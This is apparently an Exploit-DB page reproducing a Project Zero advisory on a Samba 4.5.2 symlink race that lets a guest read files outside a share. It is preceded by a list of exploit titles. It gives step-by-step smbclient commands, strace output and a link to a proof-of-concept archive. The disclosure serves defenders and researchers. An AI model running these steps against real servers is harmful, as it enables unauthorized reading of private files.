1f8c35c0c0
25 new exploits Samba < 3.6.2 (x86) - Denial of Serviec (PoC) Samba < 3.6.2 (x86) - Denial of Service (PoC) Microsoft Visual Studio 2015 update 3 - Denial of Service Disk Sorter Enterprise 9.5.12 - Local Buffer Overflow Apple Safari - 'DateTimeFormat.format' Type Confusion Apple Safari - Builtin JavaScript Allows Function.caller to be Used in Strict Mode Apple Safari - Out-of-Bounds Read when Calling Bound Function QNAP QTS < 4.2.4 - Domain Privilege Escalation Internet Information Services (IIS) 6.0 WebDAV - 'ScStoragePathFromUrl' Buffer Overflow Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory Github Enterprise - Default Session Secret And Deserialization (Metasploit) B2B Alibaba Clone Script - SQL Injection B2B Alibaba Clone Script - 'IndustryID' Parameter SQL Injection Just Another Video Script 1.4.3 - SQL Injection Adult Tube Video Script - SQL Injection Alibaba Clone Script - SQL Injection B2B Marketplace Script 2.0 - SQL Injection Php Real Estate Property Script - SQL Injection Courier Tracking Software 6.0 - SQL Injection Parcel Delivery Booking Script 1.0 - SQL Injection Delux Same Day Delivery Script 1.0 - SQL Injection Hotel Booking Script 1.0 - SQL Injection Tour Package Booking 1.0 - SQL Injection Professional Bus Booking Script - 'hid_Busid' Parameter SQL Injection CouponPHP CMS 3.1 - 'code' Parameter SQL Injection EyesOfNetwork (EON) 5.0 - Remote Code Execution EyesOfNetwork (EON) 5.0 - SQL Injection Nuxeo 6.0 / 7.1 / 7.2 / 7.3 - Remote Code Execution (Metasploit) inoERP 0.6.1 - Cross-Site Scripting / Cross-Site Request Forgery / SQL Injection / Session Fixation
94 lines
5.1 KiB
Text
Executable file
94 lines
5.1 KiB
Text
Executable file
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1039
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The Samba server is supposed to only grant access to configured share
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directories unless "wide links" are enabled, in which case the server is allowed
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to follow symlinks. The default (since CVE-2010-0926) is that wide links are
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disabled.
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smbd ensures that it isn't following symlinks by calling lstat() on every
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path component, as can be seen in strace (in reaction to the request
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"get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share):
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root@debian:/home/user# strace -e trace=file -p18954
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Process 18954 attached
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lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
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getcwd("/public", 4096) = 8
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lstat("/public/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f/g", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f/g/h", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f/g/h/i", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
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stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
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getxattr("a/b/c/d/e/f/g/h/i/j", "system.posix_acl_access", 0x7ffc8d870c30, 132) = -1 ENODATA (No data available)
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stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
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open("a/b/c/d/e/f/g/h/i/j", O_RDONLY) = 35
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This is racy: Any of the path components - either one of the directories or the
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file at the end - could be replaced with a symlink by an attacker over a second
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connection to the same share. For example, replacing a/b/c/d/e/f/g/h/i
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with a symlink to / immediately before the open() call would cause smbd to open
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/j.
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To reproduce:
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- Set up a server with Samba 4.5.2. (I'm using Samba 4.5.2 from Debian
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unstable. I'm running the attacks on a native machine while the server is
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running in a VM on the same machine.)
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- On the server, create a world-readable file "/secret" that contains some
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text. The goal of the attacker is to leak the contents of that file.
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- On the server, create a directory "/public", mode 0777.
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- Create a share named "public", accessible for guests, writable, with path
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"/public".
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- As the attacker, patch a copy of the samba-4.5.2 sourcecode with the patch in
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attack_commands.patch.
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- Build the patched copy of samba-4.5.2. The built smbclient will be used in
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the following steps.
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- Prepare the server's directory layout remotely and start the rename side of
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the race:
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$ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
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./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
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Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
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smb: \> posix
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Server supports CIFS extensions 1.0
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Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
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smb: /> ls
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. D 0 Wed Dec 14 23:54:30 2016
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.. D 0 Wed Dec 14 13:02:50 2016
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98853468 blocks of size 1024. 66181136 blocks available
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smb: /> symlink / link
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smb: /> mkdir normal
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smb: /> put /tmp/empty normal/secret # empty file
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putting file /tmp/empty as /normal/secret (0.0 kb/s) (average 0.0 kb/s)
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smb: /> rename_loop link normal foobar
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- Over a second connection, launch the read side of the race:
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$ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
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./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
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Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
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smb: \> posix
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Server supports CIFS extensions 1.0
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Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
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smb: /> dump foobar/secret
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- At this point, the race can theoretically be hit. However, because the
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renaming client performs operations synchronously, the network latency makes
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it hard to win the race. (It shouldn't be too hard to adapt the SMB client to
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be asynchronous, which would make the attack much more practical.) To make it
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easier to hit the race, log in to the server as root and run "strace" against
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the process that is trying to access foobar/secret all the time without any
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filtering ("strace -p19624"). On my machine, this causes the race to be hit
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every few seconds, and the smbclient that is running the "dump" command
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prints the contents of the file each time the race is won.
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Proof of Concept:
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https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41740.zip
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